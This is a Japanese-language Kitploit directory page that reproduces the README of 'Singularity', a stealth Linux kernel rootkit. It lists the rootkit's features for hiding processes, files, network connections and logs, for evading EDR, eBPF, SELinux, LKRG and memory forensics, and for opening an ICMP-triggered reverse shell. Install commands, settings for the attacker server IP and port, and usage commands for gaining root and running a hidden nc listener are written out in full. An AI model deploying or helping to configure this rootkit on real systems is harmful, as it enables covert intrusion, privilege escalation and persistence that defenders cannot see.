Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Singularity — 6.xカーネル向けのステルスLinuxカーネルrootkit(LKM)で、高度なプロセス/ネットワーク隠蔽、権限昇格、およびeBPFセキュリティツール、LKRG、SELinux、メモリフォレンジックの包括的な回避を備えています。 | Kitploit
ツール/GitHubGitHub/matheuzsecurity/singularity
特権昇格
GitHubmatheuzsecurity/singularity

Singularity

6.xカーネル向けのステルスLinuxカーネルrootkit(LKM)で、高度なプロセス/ネットワーク隠蔽、権限昇格、およびeBPFセキュリティツール、LKRG、SELinux、メモリフォレンジックの包括的な回避を備えています。

リポジトリを見る
1.7k1904013日前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Singularity - ステルス性の高いLinuxカーネルルートキット

Singularity Rootkit

「フォレンジックに少し仕事をさせてやろうか?」

Singularity は、モダンな6.xカーネル向けに設計された強力なLinuxカーネルモジュール(LKM)ルートキットです。ftraceインフラストラクチャを介した高度なシステムコールフッキングにより、包括的なステルス機能を提供します。

完全な研究記事(旧バージョン): Singularity: A Final Boss Linux Kernel Rootkit

EDR回避ケーススタディ: Bypassing Elastic EDR with Singularity

POC動画: Singularity vs eBPFセキュリティツール: Singularity vs eBPF security tools

SingularityフックによるeBPFセキュリティの突破: Breaking eBPF

Singularity Rootkit: Elastic Defendのモジュールロード検知の回避 Bypassing Elastic Defend

Singularityとは?

Singularityはカーネルレベルで動作する高度なルートキットであり、以下を提供します:

  • プロセス隠蔽: 任意のプロセスをシステムから完全に不可視化
  • ファイルとディレクトリの隠蔽: パターンマッチングを使用してファイルを隠蔽
  • ネットワークステルス: TCP/UDP接続、ポート、conntrackエントリを隠蔽
  • 特権昇格: シグナルベースの即時rootアクセス
  • ログサニタイズ: カーネルログとシステムジャーナルをリアルタイムでフィルタリング
  • 自己隠蔽: モジュールリストとシステム監視から自身を削除
  • リモートアクセス: ICMPトリガーのリバースシェルと自動隠蔽
  • 検知回避: eBPFベースのランタイムセキュリティツール(Falco、Tracee)を回避し、Linux Kernel Runtime Guard(LKRG)をバイパスし、io_uringバイパスの試みを防止
  • 監査回避: netlinkレベルで隠蔽プロセスの監査メッセージをドロップし、統計追跡とソケットinodeフィルタリングを実施
  • メモリフォレンジック回避: LiMEとAVMLの取得をブロック;物理ダンプ内のモジュールページと隠蔽されたtask_structをゼロ化;/proc/kcore、/proc/kallsyms、/proc/vmallocinfoをフィルタリング
  • Cgroupフィルタリング: cgroup.procsから隠蔽PIDをフィルタリング
  • Syslog回避: do_syslogをフックしてklogctl()カーネルリングバッファアクセスをフィルタリング
  • Debugfs回避: 生ブロックデバイスを読み取るdebugfsなどのツールの出力をフィルタリング
  • Conntrackフィルタリング: /proc/net/nf_conntrackおよびnetlink SOCK_DIAG/NETFILTERクエリから接続を隠蔽
  • SELinux回避: ICMPトリガー時にSELinux enforcingモードを自動バイパス
  • LKRGバイパス: Linux Kernel Runtime Guardの検知メカニズムを回避
  • eBPFセキュリティバイパス: eBPFベースのランタイムセキュリティツール(Falco、Tracee)からプロセスを隠蔽

機能

  • シグナルベースの特権昇格(kill -59)
  • /procおよび監視ツールからの完全なプロセス隠蔽
  • ファイルとディレクトリのパターンベースのファイルシステム隠蔽
  • netstat、ss、conntrack、パケットアナライザーからのネットワーク接続隠蔽
  • 高度なnetlinkフィルタリング(SOCK_DIAG、NETFILTER/conntrackメッセージ)
  • dmesg、journalctl、klogctl向けのリアルタイムカーネルログフィルタリング
  • lsmodおよび/sys/moduleからのモジュール自己隠蔽
  • カーネルtaintフラグの自動正規化
  • eBPFベースの検知を防ぐBPFデータフィルタリング
  • 非同期I/Oバイパスに対するio_uring保護
  • カーネルメッセージとシステムログのログマスキング
  • 標準的なルートキット検出ツール(unhide、chkrootkit、rkhunter)の回避
  • tracepointフックによる子プロセスの自動追跡と隠蔽
  • マルチアーキテクチャサポート(x64 + ia32)
  • rawソケット保護を伴うネットワークパケットレベルフィルタリング
  • すべてのファイルI/Oバリアント(read、write、splice、sendfile、tee、copy_file_range)に対する保護
  • auditd検知を回避するための統計追跡を伴うnetlinkレベルの監査メッセージフィルタリング
  • 包括的なネットワーク隠蔽のためのソケットinode追跡
  • /sys/fs/cgroup/*/cgroup.procsを介した検知を防ぐCgroup PIDフィルタリング
  • PID列挙を防ぐTaskStats netlinkブロッキング
  • 物理メモリ取得への抵抗: copy_mc_to_kernelへのkprobeがLiMEのページコピーを傍受し、モジュールページと隠蔽されたtask_struct範囲をゼロ化バッファにリダイレクト;AVMLは/proc/kcore読み取りフックでブロック
  • /proc/kcore、/proc/kallsyms、/proc/vmallocinfoの読み取りフィルタリング
  • klogctl()をフィルタリングしカーネルリングバッファリークを防ぐdo_syslogフック
  • debugfsおよび類似のディスクフォレンジックツールを回避するブロックデバイス出力フィルタリング
  • writeフックによるjournalctl -k出力フィルタリング
  • ICMPトリガーシェル向けのSELinux enforcingモードバイパス機能
  • 隠蔽プロセスに対するLKRG整合性チェックのバイパス
  • BPFリングバッファとperfイベント傍受によるFalcoイベント隠蔽

インストール

前提条件

  • Linuxカーネル6.x
  • 実行中のカーネル用のカーネルヘッダー
  • GCCとMake
  • rootアクセス

クイックインストール

cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
cd ..

これで完了です。モジュールは自動的に以下を行います:

  • lsmod、/proc/modules、/sys/module から自身を隠す
  • カーネルの汚染フラグをクリアする
  • dmesg、journalctl -k、klogctl から機密文字列をフィルタリングする
  • 隠しファイルとプロセスの保護を開始する

重要な注意事項

モジュールはロード後に自動的に自身を隠します

アンロード機能はありません - 削除するには再起動が必要です

まず VM でテストしてください - 再起動しない限り削除できません

設定

サーバー IP とポートを設定する

include/core.h を編集してください:

#define YOUR_SRV_IP "192.168.1.100"  // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } }  // IPv6 if needed

modules/icmp.c を編集:

#define SRV_PORT "8081"  // Change this to your desired port

modules/bpf_hook.c を編集:

#define HIDDEN_PORT 8081  // Must match SRV_PORT

modules/hiding_tcp.c を編集:

#define PORT 8081  // Must match SRV_PORT

重要: ネットワーク隠蔽とICMPリバースシェル機能を正しく動作させるには、すべてのポート定義が一致している必要があります。

使用方法

プロセスの隠蔽

# Hide current shell
kill -59 $$

# Hide specific process
kill -59 <PID>

プロセスは ps、top、htop、/proc、およびすべての監視ツールから見えなくなります。すべての子プロセスは自動的に追跡され、隠蔽されます。

ファイルとディレクトリの隠蔽

設定したパターンに一致するファイルは自動的に隠蔽されます:

mkdir singularity
echo "secret" > singularity/data.txt

# Invisible to ls, find, locate
ls -la | grep singularity
# (no output)

# But you can still access it
cat singularity/data.txt
# secret

# cd is blocked for security
cd singularity
# bash: cd: singularity: No such file or directory

root になる

シグナルベースの方法:

kill -59 $$
id  # uid=0(root)

ネットワーク接続を隠す

設定されたポート(デフォルト: 8081)上の接続は自動的に隠されます:

nc -lvnp 8081

# Invisible to all monitoring
ss -tulpn | grep 8081        # (no output)
netstat -tulpn | grep 8081   # (no output)
lsof -i :8081                # (no output)
cat /proc/net/nf_conntrack | grep 8081  # (no output)

# Even advanced netlink queries are filtered
ss -tapen | grep 8081        # (no output)
conntrack -L | grep 8081     # (no output)

パケットは raw ソケットレベル(tpacket_rcv)でドロップされ、以下から隠蔽されます:

  • /proc/net/* インターフェース(tcp、tcp6、udp、udp6)
  • /proc/net/nf_conntrack
  • Netlink SOCK_DIAG クエリ(ss、lsof で使用)
  • Netlink NETFILTER/conntrack メッセージ(conntrack ツールで使用)

ICMP リバースシェル

SELinux バイパスを自動で行い、隠蔽されたリバースシェルをリモートで起動します:

1. リスナーを起動:

nc -lvnp 8081  # Use your configured port

2. ICMP トリガーを送信:

sudo python3 scripts/trigger.py <target_ip>

3. root シェルの取得(すべての子プロセスとともに自動的に隠蔽され、SELinux が有効な場合は enforcing モードがバイパスされます)

保護メカニズム

Ftrace 制御保護

ftrace を無効化しようとするすべての試みは、通知されることなく傍受され、ブロックされます:

echo 0 > /proc/sys/kernel/ftrace_enabled       # Appears successful but does nothing

保護されたシステムコール: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter(インテリジェントなPID単位のキャッシュ付き)

BPFシステムコールフィルタリング

bpf_hook.cモジュールは、eBPFベースのセキュリティツールに対する高度な検出回避システムを実装しています。BPFシステムコールを完全にブロックする(これは検出の指紋となる)のではなく、カーネルレベルでデータを選択的にフィルタリングし、隠蔽されたプロセスや接続をeBPFプログラムから見えなくします。

戦略: BPFシステムコール自体ではなく、eBPFプログラムが使用するデータ収集およびレポート機能を傍受します。これにより、正規のeBPFツールは通常どおり動作しつつ、隠蔽されたリソースを見ることができなくなります。

保護対象リソース:

  • 隠蔽されたプロセスとそのプロセスツリー全体(最大10階層の親まで)
  • 設定されたポート(デフォルト: 8081)または設定されたIPアドレスへのネットワーク接続
  • 隠蔽されたプロセスに関連付けられたソケットinode

傍受ポイント:

  • イテレータ実行(プロセス/ソケット列挙)
  • リングバッファ操作(ユーザー空間へのイベント送信)
  • BPFマップ操作(PIDの検索と挿入)
  • perfイベント出力(レガシーeBPFイベント配信)
  • seqファイル書き込み(出力フォーマット)
  • プログラム実行(コンテキストベースのフィルタリング)

このアプローチは、BPF操作を完全にブロックすることで発生するアラートをトリガーすることなく、eBPFセキュリティツールを無効化します。

io_uring保護

ftrace_enabledおよびtracing_onの試行におけるio_uringバイパスに対する保護(PIDごとに1秒のキャッシュによるインテリジェントなキャッシュで、繰り返しのプロセススキャンを防ぎオーバーヘッドを削減)

ログサニタイズ

すべてのカーネルログインターフェースから機密文字列をリアルタイムでフィルタリング:

ツールをダウンロード